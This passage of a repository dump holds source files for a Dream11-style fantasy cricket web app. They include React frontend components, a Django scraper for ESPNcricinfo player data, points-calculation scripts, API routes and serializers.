rows\">\n { batsmanGeseGa }\n </div>\n\n </div>\n <div className=\"container team\">\n <div className=\"coloredDiv\">\n <h3> <span className=\"label label-success create_team card__category\">All rounder</span></h3>\n </div>\n\n <div className=\"team_space rows\">\n {allrounderGeseGa}\n </div>\n </div>\n <div className=\"container team\">\n <div className=\"coloredDiv\">\n <h3> <span className=\"label label-success create_team card__category\">Bowler</span></h3>\n </div>\n\n <div className=\"team_space rows\">\n {bowlerGeseGa}\n </div>\n </div>\n </div>\n <div className=\"container-fluid\">\n <div className=\"buttfix\">\n <Link to={`/dashboard/players/${Home_team}/${Away_team}/${Series_name}/`} >\n <button type=\"button\" className=\"btn button5\" >Modify Team</button>\n </Link>\n </div>\n\n </div> \n </div>\n );\n }\n }\nexport default MyTeam;"
},
{
"alpha_fraction": 0.6273584961891174,
"alphanum_fraction": 0.6354447603225708,
"avg_line_length": 29.91666603088379,
"blob_id": "3a6d2ac3593f6b29e627f921f250f64b830b5101",
"content_id": "69b67a1153cff62a87ecca5374244956f142df6e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 1484,
"license_type": "no_license",
"max_line_length": 142,
"num_lines": 48,
"path": "/dream11_frontend/src/Component/nion_ui/NavBar.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React from 'react';\nimport { makeStyles } from '@material-ui/core/styles';\nimport AppBar from '@material-ui/core/AppBar';\nimport Toolbar from '@material-ui/core/Toolbar';\nimport Typography from '@material-ui/core/Typography';\nimport Button from '@material-ui/core/Button';\nimport IconButton from '@material-ui/core/IconButton';\nimport MenuIcon from '@material-ui/icons/Menu';\nimport { Link as RouterLink } from 'react-router-dom';\nimport Link from '@material-ui/core/Link';\n\n\nconst useStyles = makeStyles(theme => ({\n root: {\n flexGrow: 1,\n },\n menuButton: {\n marginRight: theme.spacing(2),\n },\n title: {\n flexGrow: 1,\n },\n}));\n\nexport default function NavBar() {\n const classes = useStyles();\n const home_team = 'AUSTRALIA'\n const away_team = 'ENGLAND'\n const Series_name = 'ICC CRICKET WORLD CUP 2019'\n return (\n <div className={classes.root}>\n <AppBar position=\"static\">\n <Toolbar>\n {/* <IconButton edge=\"start\" className={classes.menuButton} color=\"inherit\" aria-label=\"menu\">\n <MenuIcon />\n </IconButton> */}\n <Typography variant=\"h6\" className={classes.title}>\n Dream11\n </Typography>\n <Button color=\"inherit\" component={RouterLink} to={`/dream11/core/login/loggedIN/players/${home_team}/${away_team}/${Series_name}`}>\n My Account\n </Button>\n <Button color=\"inherit\">Sign Out</Button>\n </Toolbar>\n </AppBar>\n </div>\n );\n}\n"
},
{
"alpha_fraction": 0.5939801335334778,
"alphanum_fraction": 0.6045469045639038,
"avg_line_length": 30.44791603088379,
"blob_id": "9c00a5ef6b30be7ea643e327ac8b6a1b25c9a39d",
"content_id": "61e96de49cefc139dc09c0b50468e2a9252088b6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3123,
"license_type": "no_license",
"max_line_length": 138,
"num_lines": 96,
"path": "/user_registration/crawler.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from urllib.request import Request,urlopen\r\nfrom urllib.error import HTTPError\r\nfrom bs4 import BeautifulSoup\r\nimport re\r\nfrom user_registration.models import Players\r\n\r\n\r\nbase_url = 'http://www.espncricinfo.com/'\r\nall_teams_url = 'https://www.espncricinfo.com/story/_/id/18791072/all-cricket-teams-index'\r\n\r\n\r\ndef insert_player_info_db(player_info):\r\n\r\n newplayer = Players(name=player_info[1], country=player_info[0], role=player_info[2], image=str(player_info[3]))\r\n newplayer.save()\r\n\r\n\r\ndef get_bsObj(url):\r\n try:\r\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\r\n html = urlopen(req).read()\r\n except HTTPError as e:\r\n print(\"Http Error\")\r\n return None\r\n return BeautifulSoup(html, \"lxml\")\r\n\r\n\r\ndef get_country_pages(url):\r\n bsObj = get_bsObj(url)\r\n\r\n country_pages = []\r\n country = ''\r\n common_part = '/content/player/country.html?country='\r\n country_id = ''\r\n\r\n team_links = bsObj.find_all('a', href=re.compile(\"/team/_/id/[1-9]+/[a-z]*/\"))\r\n\r\n for team_link in team_links:\r\n split_link = team_link['href'].split('/')\r\n country = split_link[5]\r\n country_id = split_link[4]\r\n country_pages.append(base_url + country + common_part + country_id)\r\n\r\n return country_pages\r\n\r\n\r\n# country_pages = get_country_pages(all_teams_url)\r\n# print(country_pages)\r\n\r\ndef get_player_info(url):\r\n bsObj = get_bsObj(url)\r\n\r\n info = bsObj.find_all(class_='ciPlayerinformationtxt')\r\n country = bsObj.find(class_='PlayersSearchLink')\r\n image_link = bsObj.find('img', src=re.compile(\"/inline/content/image/[0-9]+\\.html\"))\r\n\r\n # [country, name, player_role, batting_style, bowling_style]\r\n\r\n player_info = []\r\n player_info.append(country.get_text())\r\n\r\n for i in info:\r\n field = i.b.get_text()\r\n if field == 'Full name' or field == 'Playing role':\r\n if i.span.get_text() == None:\r\n player_info.append('')\r\n else:\r\n player_info.append(i.span.get_text())\r\n profile_pic = base_url + image_link['src']\r\n if profile_pic != None:\r\n player_info.append(profile_pic)\r\n else:\r\n player_info.append('')\r\n return player_info\r\n\r\n\r\n# player_info = get_player_info('http://www.espncricinfo.com/bangladesh/content/player/550137.html')\r\n# print(player_info)\r\n\r\n\r\ndef crawling():\r\n country_pages = get_country_pages(all_teams_url)\r\n for country in country_pages:\r\n bsObj = get_bsObj(country)\r\n recentPlayers = bsObj.find('div', id='rectPlyr_Playerlistall')\r\n #if recentPlayers == None:\r\n # continue\r\n links = recentPlayers.find_all('a', href=re.compile(\"/.*/content/player/[0-9]+\\.html\"))\r\n for link in links:\r\n player_profile = base_url + link['href']\r\n player_info = get_player_info(player_profile)\r\n #print(player_info)\r\n #try:\r\n # player = Players.objects.get(name=player_info[1], country=player_info[0], role=player_info[2], image=str(player_info[5]))\r\n insert_player_info_db(player_info)\r\n break\r\n\r\n\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.7749999761581421,
"alphanum_fraction": 0.7749999761581421,
"avg_line_length": 24.66666603088379,
"blob_id": "ae3058f0f647a54b83ccc4a70ba5df9ad48da360",
"content_id": "73b0684f62ddb702088f1167b55a1e370fab9518",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 160,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 6,
"path": "/user_registration/admin.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\r\nfrom .models import Players, Users\r\n# Register your models here.\r\n\r\nadmin.site.register(Players)\r\nadmin.site.register(Users)\r\n"
},
{
"alpha_fraction": 0.5940822958946228,
"alphanum_fraction": 0.5940822958946228,
"avg_line_length": 37.60714340209961,
"blob_id": "610764a8729bdf1041ab25a863429e108846227b",
"content_id": "ed5b6ad0e077132df4cf70d2ed97d7af677b461e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2163,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 56,
"path": "/dream11_frontend/src/Component/nion_ui/DashBoard.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react'\nimport LeaderBoard from './LeaderBoard';\nimport NavDrawer from './NavDrawer';\nimport FantasyStats from './FantasyStats';\nimport {Dashboard as D} from '../dashboard/index';\nimport Profile from \"../Players/profile\";\nimport Players from '../Players/index';\nimport MyTeam from \"../Players/team\";\nimport { BrowserRouter, Route, Link ,Switch } from \"react-router-dom\";\nimport Contest from './league/Contests';\nimport Leagues from './league/Leagues';\nimport LeagueInfo from './league/LeagueInfo';\nimport { connect } from 'react-redux';\nimport * as actions from '../../store/actions/auth';\n\nclass DashBoard extends Component {\n\n componentDidMount() {\n this.props.onTryAutoSignup();\n }\n\n render() {\n return (\n <div>\n <BrowserRouter>\n <NavDrawer {...this.props}>\n <Route exact path=\"/dashboard/\" exact component={D} />\n <Route path=\"/dashboard/players/:Home_team/:Away_team/:Series_name\" component={Players} />\n <Route path=\"/dashboard/MyTeam/:home/:away/:series/\" component={MyTeam} />\n <Route path=\"/dashboard/profile/:name/:country/\" component={Profile} />\n <Route path=\"/dashboard/leaderboard/\" component={LeaderBoard} />\n <Route path=\"/dashboard/fantasystats/\" component={FantasyStats} />\n <Route path=\"/dashboard/contests/\" component={Contest} />\n <Route path=\"/dashboard/MyLeagues/:userID/:userName/\" component={Leagues} />\n <Route path=\"/dashboard/league_list/:league_name/\" component={LeagueInfo} />\n </NavDrawer>\n </BrowserRouter>\n </div>\n )\n }\n}\n\nconst mapStateToProps = state => {\n return {\n isAuthenticated: state.token !== null,\n username: state.user\n }\n }\n \n const mapDispatchToProps = dispatch => {\n return {\n onTryAutoSignup: () => dispatch(actions.authCheckState())\n }\n }\n \nexport default connect(mapStateToProps, mapDispatchToProps)(DashBoard);\n\n"
},
{
"alpha_fraction": 0.5250218510627747,
"alphanum_fraction": 0.5360023379325867,
"avg_line_length": 41.528926849365234,
"blob_id": "5e1d8ce620fbb9e5a26f30ccb6cacd82c4604f21",
"content_id": "f56023b1c4468f0c872ac30af83c3d1848132a82",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10291,
"license_type": "no_license",
"max_line_length": 360,
"num_lines": 242,
"path": "/user_registration/data_insert.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import glob\nimport errno\nimport csv\nimport json\nfrom user_registration.models import Players\nfrom create_team.models import SeriesSquads, UserTeamPoints, PlayerPoints, SeriesList, Matches\nfrom django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist\n\nbatting_path = 'user_registration/static/points_data/batting.csv'\nbowling_path = 'user_registration/static/points_data/bowling.csv'\n\ndef insert_match_scorecard(player_id, match_id, series_name):\n config = open('config.json', 'r')\n rules = json.load(config)\n batting = open(batting_path, 'r')\n bowling = open(bowling_path, 'r')\n \n rows_bat = csv.reader(batting, delimiter=',')\n rows_bowl = csv.reader(bowling, delimiter=',')\n\n match = Matches.objects.get(id=match_id)\n series = SeriesList.objects.get(Series_name=series_name)\n\n for row in rows_bat:\n if row:\n points = dict()\n try:\n player = Players.objects.get(name=row[0])\n except ObjectDoesNotExist:\n print(row)\n continue\n runs = int(row[1])\n fours = int(row[2])\n sixes = int(row[3])\n strike_rate = float(row[4])\n points['run'] = runs * rules['points']['batting']['run']\n points['4s'] = fours * rules['points']['batting']['boundary']\n points['6s'] = sixes * rules['points']['batting']['six']\n if runs >= 100:\n points['century'] = rules['points']['batting']['century']\n points['fifty'] = 0\n elif runs >= 50:\n points['fifty'] = rules['points']['batting']['half_century']\n points['century'] = 0\n else:\n points['century'] = 0\n points['fifty'] = 0\n if runs == 0:\n points['duck'] = rules['points']['batting']['duck']\n else:\n points['duck'] = 0\n if runs >= rules['points']['strike_rate']['min_runs'] and strike_rate >= 150:\n points['sr'] = rules['points']['strike_rate']['above_150']\n elif runs >= rules['points']['strike_rate']['min_runs'] and strike_rate <= 50:\n points['sr'] = rules['points']['strike_rate']['below_50']\n else:\n points['sr'] = 0\n total = 0\n for point in points.values():\n total = total + point\n try:\n previous = PlayerPoints.objects.get(player_id=player, match_id=match, series_name=series)\n previous.runs = points['run']\n previous.fours = points['4s']\n previous.sixes = points['6s']\n previous.strike_rate = points['sr']\n previous.fifty = points['fifty']\n previous.hundred = points['century'] \n previous.duck=points['duck']\n previous.total_points = previous.total_points + total\n previous.save()\n except ObjectDoesNotExist:\n new_points = PlayerPoints(player_id=player, match_id=match, series_name=series, starting_eleven=0, runs=points['run'], fours=points['4s'], sixes=points['6s'], strike_rate=points['sr'], fifty=points['fifty'], hundred=points['century'], duck=points['duck'], wickets=0, maiden=0, economy=0, bonus=0, catch=0, runout_stumping=0, total_points=total)\n new_points.save()\n\n for row in rows_bowl:\n if row:\n points = dict()\n try:\n player = Players.objects.get(name=row[0])\n except ObjectDoesNotExist:\n print(row)\n continue\n maiden = int(row[1])\n wickets = int(row[2])\n economy = float(row[3])\n points['wicket'] = wickets * rules['points']['bowling']['wicket']\n if wickets >= 5:\n points['wicket'] = points['wicket'] + rules['points']['bowling']['5_wicket']\n elif wickets == 4 :\n points['wicket'] = points['wicket'] + rules['points']['bowling']['4_wicket']\n points['maiden'] = maiden * rules['points']['bowling']['maiden']\n points['eco'] = 0\n if economy <= 2.5:\n points['eco'] = rules['points']['economy']['below_2.5']\n elif economy > 2.5 and economy <= 4:\n points['eco'] = rules['points']['economy']['between_2.5_4']\n elif economy > 4 and economy <= 5:\n points['eco'] = rules['points']['economy']['between_4_5']\n elif economy > 7 and economy <= 8:\n points['eco'] = rules['points']['economy']['between_7_8']\n elif economy > 8 and economy <= 9:\n points['eco'] = rules['points']['economy']['between_8_9']\n elif economy > 9:\n points['eco'] = rules['points']['economy']['above_9']\n total = 0\n for point in points.values():\n total = total + point\n try:\n previous = PlayerPoints.objects.get(player_id=player, match_id=match, series_name=series)\n previous.wickets = points['wicket']\n previous.maiden = points['maiden']\n previous.economy = points['eco']\n previous.total_points = previous.total_points + total\n previous.save()\n except ObjectDoesNotExist:\n new_points = PlayerPoints(player_id=player, match_id=match, series_name=series, starting_eleven=0, runs=0, fours=0, sixes=0, strike_rate=0, fifty=0, hundred=0, duck=0, wickets=points['wicket'], maiden=points['maiden'], economy=points['eco'], bonus=0, catch=0, runout_stumping=0, total_points=total)\n new_points.save()\n\n\n config.close()\n batting.close()\n bowling.close()\n\ndef insert_user_points(user_id, match, series):\n user = UserTeamPoints.objects.get(user_id=user_id, match_id=match, series_name=series)\n team = json.loads(user.team)\n total_points = 0\n for player in team:\n try:\n player_points = PlayerPoints.objects.get(player_id=player, match_id=match, series_name=series)\n total_points = total_points + player_points.total_points\n except ObjectDoesNotExist:\n continue\n user.points = total_points\n user.save()\n\n\ndef insert_all_players():\n path = 'user_registration/static/player_data/all_players.csv'\n\n try:\n with open(path, 'r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n newplayer = Players(name=row[1], country=row[2], role=row[4], image=str(row[3]), credit=float(row[5]))\n newplayer.save()\n # pass # do what you want\n except IOError as exc:\n if exc.errno != errno.EISDIR:\n raise\n\n\ndef insert_player_info_db(player_info):\n newplayer = Players(name=player_info[1], country=player_info[0], role=player_info[2], image=str(player_info[3]))\n newplayer.save()\n\ndef insert_crawled_data():\n path = 'user_registration/static/player_data/*.csv'\n files = glob.glob(path)\n # print(files)\n for name in files:\n try:\n with open(name, 'r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n if len(row) == 4:\n role = row[2].lower()\n if 'allrounder' in role:\n row[2] = 'Allrounder'\n elif 'wicketkeeper' in role:\n row[2] = 'Wicketkeeper'\n elif 'batsman' in role:\n row[2] = 'Batsman'\n elif 'bowler' in role:\n row[2] = 'Bowler'\n insert_player_info_db(row)\n # pass # do what you want\n except IOError as exc:\n if exc.errno != errno.EISDIR:\n raise\n\ndef insert_credit_db(role, player_name, credit):\n try:\n if 'credit_ar' in role:\n player = Players.objects.get(name=player_name)\n if player.role == 'Allrounder':\n # print('Allrounder ' + player.name + ' ' + player.role + ' ' + str(player.credit)) \n player.credit = credit\n player.save()\n elif 'credit_bat' in role:\n player = Players.objects.get(name=player_name)\n if player.role == 'Batsman' or player.role == 'Wicketkeeper':\n # print('Batsman ' + player.name + ' ' + player.role + ' ' + str(player.credit))\n player.credit = credit\n player.save()\n elif 'credit_bowl' in role:\n player = Players.objects.get(name=player_name)\n if player.role == 'Bowler':\n # print('Bowler ' + player.name + ' ' + player.role + ' ' + str(player.credit)) \n player.credit = credit\n player.save()\n except ObjectDoesNotExist:\n print('Players.DoesNotExist -> ' + player_name)\n except MultipleObjectsReturned:\n print('MultipleObjectsReturned')\n\n\ndef insert_credit():\n path = 'user_registration/static/credit/*.csv'\n files = glob.glob(path)\n\n for name in files:\n try:\n with open(name, 'r') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n if row:\n # print(name + ' ' + row[1] + ' ' + row[2])\n insert_credit_db(name,row[1], float(row[2])) \n # pass # do what you want\n except IOError as exc:\n if exc.errno != errno.EISDIR:\n raise\n\ndef insert_non_ranked_credit():\n players = Players.objects.filter(credit=0)\n for player in players:\n if player.role == 'Allrounder':\n player.credit = 5\n elif player.role == 'Batsman' or player.role == 'Wicketkeeper':\n player.credit = 6\n elif player.role == 'Bowler':\n player.credit = 5\n player.save()\n\ndef user_team_insert():\n a = UserTeamPoints.objects.get(user_id=1)\n li = json.loads(a.team)\n print(li[0])\n player = Players.objects.get(id=li[2])\n print(player.name)"
},
{
"alpha_fraction": 0.5712462663650513,
"alphanum_fraction": 0.5754997730255127,
"avg_line_length": 22.75757598876953,
"blob_id": "3b4d81ff7f8b7377425e74f866cd5a0613ec8f63",
"content_id": "b6362515acb63e7cf8b77b9b3f18a42f39773bce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2351,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 99,
"path": "/dream11_frontend/src/Component/nion_ui/league/Contests.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React from 'react';\nimport {Link } from 'react-router-dom';\nimport axios from \"axios\";\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogContentText from '@material-ui/core/DialogContentText';\nimport AddIcon from '@material-ui/icons/Add';\nimport Typography from '@material-ui/core/Typography';\nimport Fab from '@material-ui/core/Fab';\nimport { DialogContent } from '@material-ui/core';\nimport CreateLeague from './CreateLeague';\nimport JoinLeague from './JoinLeague';\nimport styled from 'styled-components';\n\nconst Container = styled.div`\n text-align: center;\n`;\n\n\nexport default function Contest() {\n const [open, setOpen] = React.useState(false);\n const [open2, setOpen2] = React.useState(false);\n let userName = 'nion';\n let userID = '1';\n function handleClickOpen() {\n setOpen(true);\n }\n\n const handleClose = value => {\n setOpen(false);\n };\n\n function handleClickOpen2() {\n setOpen2(true);\n }\n\n const handleClose2 = value => {\n setOpen2(false);\n };\n\n return (\n <Container>\n <div>\n <Fab\n variant=\"extended\"\n size=\"medium\"\n color=\"primary\"\n aria-label=\"add\"\n onClick={handleClickOpen}\n >\n Create League\n </Fab>\n <Dialog open={open} onClose={handleClose} >\n <DialogContent>\n <DialogContentText>\n Enter the Name and Password for Your new League\n </DialogContentText>\n <CreateLeague />\n </DialogContent>\n </Dialog>\n </div>\n <br />\n <div>\n <Fab\n variant=\"extended\"\n size=\"medium\"\n color=\"primary\"\n aria-label=\"add\"\n onClick={handleClickOpen2}\n >\n Join League\n </Fab>\n <Dialog open={open2} onClose={handleClose2} >\n <DialogContent>\n <DialogContentText>\n Please Enter the Name and Password of the League \n </DialogContentText>\n <JoinLeague />\n </DialogContent>\n </Dialog>\n </div>\n <br />\n <div>\n <Link to={`/dashboard/MyLeagues/${userID}/${userName}/`} >\n <Fab\n variant=\"extended\"\n size=\"medium\"\n color=\"primary\"\n aria-label=\"add\"\n onClick={handleClickOpen}\n >\n My Leagues\n </Fab>\n </Link>\n \n </div>\n </Container>\n \n );\n}"
},
{
"alpha_fraction": 0.7066974639892578,
"alphanum_fraction": 0.7251732349395752,
"avg_line_length": 35.08333206176758,
"blob_id": "c026bc5dce66db22c5eeaf0db353bea667b53b88",
"content_id": "d2135ad3bd7a7060cc9f1c0060e1561724963dc7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 433,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 12,
"path": "/core/views.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render,get_object_or_404\nfrom user_registration.models import Players,Users\nfrom django.core.signing import Signer\n\n\ndef coredex(request):\n email = request.POST['email']\n password = request.POST['password']\n signer = Signer()\n original = signer.sign(password).split(':', 1)\n user = get_object_or_404(Users, email=email, password=original[1])\n return render(request, \"build/index.html\")\n"
},
{
"alpha_fraction": 0.4986506700515747,
"alphanum_fraction": 0.5049475431442261,
"avg_line_length": 29.605504989624023,
"blob_id": "5b69ba1645edfc688a477bf39f57dd2ca9f594f9",
"content_id": "9de3d878c1312390200f3804d1464884ad226004",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 3335,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 109,
"path": "/dream11_frontend/src/Component/nion_ui/league/JoinLeague.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react';\nimport { makeStyles } from '@material-ui/core/styles';\nimport Button from '@material-ui/core/Button';\nimport clsx from 'clsx';\nimport ExitToAppIcon from '@material-ui/icons/ExitToApp';\nimport TextField from '@material-ui/core/TextField';\nimport Grid from '@material-ui/core/Grid';\nimport AccountCircle from '@material-ui/icons/AccountCircle';\nimport axios from \"axios\";\nimport { Link as RouterLink } from 'react-router-dom';\nimport { Redirect } from 'react-router';\n\nconst useStyles = makeStyles(theme => ({\n button: {\n margin: theme.spacing(1),\n },\n leftIcon: {\n marginRight: theme.spacing(1),\n },\n rightIcon: {\n marginLeft: theme.spacing(1),\n },\n iconSmall: {\n fontSize: 20,\n },\n }));\n\nexport default class JoinLeague extends Component {\n\n constructor(props) {\n super(props);\n this.state = {\n name:'',\n pass:'',\n };\n this.handleChange = this.handleChange.bind(this);\n this.JoinLeagueHandler = this.JoinLeagueHandler.bind(this);\n }\n \n handleChange = name => ({target : {value}}) => {\n this.setState({\n [name]:value\n })\n };\n async JoinLeagueHandler(){\n let userName='nion';\n /*var data ='{ ';\n this.state.addedPlayers.map(function (value) {\n data += '{ \"name\":\"'+value.name+'\",\"role\":\"'+value.role+'\",\"country\":\"'+value.country+'\",\"image\":\"'+value.image+'\" },'\n })\n data+=' }'*/\n \n var headers = {\n 'content_type':'application/json',\n }\n \n //var datai=[];\n var ser = {name: userName , league_name: this.state.name , password: this.state.pass};\n const response = await axios.post(\"http://localhost:8000/dream11/api/joinLeague/\",ser,headers);\n if(response.status === 200){\n window.alert(\"League Joined Successfully\");\n // const def = () => <Redirect to={`/dream11/core/login/loggedIN/contests/${this.state.name}/`} />\n }\n else if(response.status === 302){\n window.alert(\"Already Joined\");\n }\n else{\n window.alert(\"League Name or Password Does not match\")\n }\n }\n\n \n\n render(){\n \n return (\n <div>\n <div>\n <form>\n <TextField \n id=\"input-with-icon-grid\" \n label=\"League name\" \n value={this.state.name}\n onChange={this.handleChange('name')}\n margin=\"normal\"\n />\n <br />\n <TextField\n id=\"standard-password-input\"\n label=\"Password\"\n type=\"password\"\n value={this.state.pass}\n onChange={this.handleChange('pass')}\n margin=\"normal\"\n \n />\n </form> \n <RouterLink to={`/dream11/core/login/loggedIN/league_list/${this.state.name}/`}>\n <Button variant=\"raised\" size=\"small\" onClick={this.JoinLeagueHandler} >\n <ExitToAppIcon />\n Join\n </Button> \n </RouterLink>\n </div>\n </div>\n );\n }\n \n}"
},
{
"alpha_fraction": 0.696060061454773,
"alphanum_fraction": 0.696060061454773,
"avg_line_length": 49.80952453613281,
"blob_id": "d4e9d5155a67a6b4ab953f44695eb7c79a8b30ae",
"content_id": "5d39de3e45d65661657b72ab01ce3e588a948cdf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1066,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 21,
"path": "/api/urls.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\nfrom . import views\n\napp_name = \"api\"\n\nurlpatterns = [\n url(r'^PlayerData/$', views.getPlayers, name=\"players\"),\n url(r'^TeamCreatedData/$', views.getTeamCreated, name=\"team_created\"),\n url(r'^TeamPlayersData/$', views.getTeamPlayers, name=\"team_players\"),\n url(r'^SeriesListData/$', views.getSeriesList, name=\"series_list\"),\n url(r'^SeriesSquadsData/$', views.getSeriesSquads, name=\"series_squads\"),\n url(r'^MatchData/$', views.getMatches, name=\"matches\"),\n url(r'^LeaderBoard/$', views.UserPointsByMatch, name=\"userPoints\"),\n url(r'^FantasyStats/$', views.playerPointByMatch, name=\"fantasystats\"),\n url(r'^playerHistory/$', views.getPointsOfCertainPlayer, name=\"pointOfAPlayer\"),\n url(r'^leagues/$', views.saveLeague, name=\"saveLeague\"),\n url(r'^joinLeague/$', views.joinLeague, name=\"joinLeague\"),\n url(r'^leagueInfo/$', views.LeagueInfo, name=\"leagueInfo\"),\n url(r'^userLeagues/$', views.userLeagues, name=\"userLeagues\"),\n url(r'^userSignupOld/$', views.getUser, name=\"usersignupold\"),\n]"
},
{
"alpha_fraction": 0.45060017704963684,
"alphanum_fraction": 0.4602954685688019,
"avg_line_length": 31.323076248168945,
"blob_id": "8b07e24633337eae725ef93ca63e9c9404e536ed",
"content_id": "585bbf720ff7dd0540664b5d2acabc04eb48e3eb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2166,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 65,
"path": "/user_registration/static/js/validation.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "$(function () {\r\n var email_e_msg=$(\"#email_error_message\");\r\n email_e_msg.hide();\r\n var password_e_msg=$(\"#password_error_message\");\r\n password_e_msg.hide();\r\n\r\n var error_email = false;\r\n var error_password = false;\r\n\r\n var form_email=$(\"#form_email\");\r\n\r\n form_email.focusout(function() {\r\n check_email();\r\n });\r\n var form_password=$(\"#form_password\");\r\n form_password.focusout(function() {\r\n check_password();\r\n });\r\n\r\n function check_password() {\r\n var password_length = form_password.val().length;\r\n if (password_length < 8) {\r\n password_e_msg.html(\"Atleast 8 Characters\");\r\n password_e_msg.css(\"font-size\",\"10px\");\r\n password_e_msg.css(\"color\",\"red\");\r\n form_password.css(\"border-bottom\",\"2px solid #34F458\");\r\n password_e_msg.show();\r\n error_password = true;\r\n } else {\r\n password_e_msg.hide();\r\n form_password.css(\"border-bottom\",\"2px solid #34F458\");\r\n }\r\n }\r\n\r\n function check_email() {\r\n var pattern = /^([\\w-\\.]+@([\\w-]+\\.)+[\\w-]{2,4})?$/;\r\n var email = form_email.val();\r\n if (pattern.test(email) && email !== '') {\r\n email_e_msg.hide();\r\n form_email.css(\"border-bottom\",\"2px solid #34F458\");\r\n } else {\r\n email_e_msg.html(\"Invalid Email\");\r\n email_e_msg.show();\r\n email_e_msg.css(\"color\",\"red\");\r\n email_e_msg.css(\"font-size\",\"10px\");\r\n form_email.css(\"border-bottom\",\"2px solid #34F458\");\r\n\r\n error_email = true;\r\n }\r\n }\r\n\r\n $(\"#Registration_form\").submit(function() {\r\n error_email = false;\r\n error_password = false;\r\n check_email();\r\n check_password();\r\n if ( error_email === false && error_password === false ) {\r\n return true;\r\n } else {\r\n alert(\"Please Fill the form Correctly\");\r\n return false;\r\n }\r\n });\r\n\r\n});\r\n"
},
{
"alpha_fraction": 0.647016167640686,
"alphanum_fraction": 0.6526392102241516,
"avg_line_length": 31.05813980102539,
"blob_id": "094bc9d07e58e97ea6f3dd034f9380ef4eda5d74",
"content_id": "cba615be1544d255ff32562e29afc0c70e720f9e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5513,
"license_type": "no_license",
"max_line_length": 139,
"num_lines": 172,
"path": "/api/serializers.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from rest_framework import serializers\nfrom user_registration.models import Players, Users\nfrom create_team.models import SeriesList,SeriesSquads,TeamCreated,TeamPlayers,Matches,UserTeamPoints, PlayerPoints, LeagueMembers, Leagues\nimport datetime\nfrom django.shortcuts import get_object_or_404\nclass PlayersSerializer(serializers.ModelSerializer):\n class Meta:\n model = Players\n fields = '__all__'\n\n def create(self, validated_data):\n name = validated_data.get('name')\n role = validated_data.get('role')\n country = validated_data.get('country')\n image = validated_data.get('image')\n player = Players(name=name, role=role,country=country,image=image)\n #student.set_password(validated_data.get('password')\n return player\n\n\nclass UsersSerializer(serializers.ModelSerializer):\n class Meta:\n model = Users\n fields = '__all__'\n\n\nclass SeriesListSerializer(serializers.ModelSerializer):\n class Meta:\n model = SeriesList\n fields = '__all__'\n\n\nclass SeriesSquadsSerializer(serializers.ModelSerializer):\n class Meta:\n model = SeriesSquads\n fields = '__all__'\n\n\nclass TeamCreatedSerializer(serializers.ModelSerializer):\n class Meta:\n model = TeamCreated\n fields = '__all__'\n def create(self, validated_data):\n series_name = validated_data.get('Series_name')\n print(series_name)\n match = validated_data.get('Match_no')\n date = datetime.datetime.now()\n print(date.strftime(\"%x\"))\n #date = validated_data.get('27/7/19')\n user = validated_data.get('User_id')\n series = SeriesList.objects.get(Series_name=series_name)\n users = Users.objects.get(pk=user)\n ss = TeamCreated(Series_name=series, Match_no=match,Match_day=date,User_id=users)\n ss.save()\n #student.set_password(validated_data.get('password')\n return ss\n\n\nclass TeamPlayersSerializer(serializers.ModelSerializer):\n class Meta:\n model = TeamPlayers\n fields = '__all__'\n\nclass MatchesSerializer(serializers.ModelSerializer):\n class Meta:\n model = Matches\n fields = '__all__'\n\n\nclass UserTeamPointsSerializer(serializers.ModelSerializer):\n class Meta:\n model = UserTeamPoints\n fields = '__all__'\n\nclass userPointsBymatch(serializers.ModelSerializer):\n name = serializers.SerializerMethodField()\n class Meta:\n model = UserTeamPoints\n fields = ['name','points']\n \n def get_name(self, obj):\n return obj.user_id.name\n\nclass 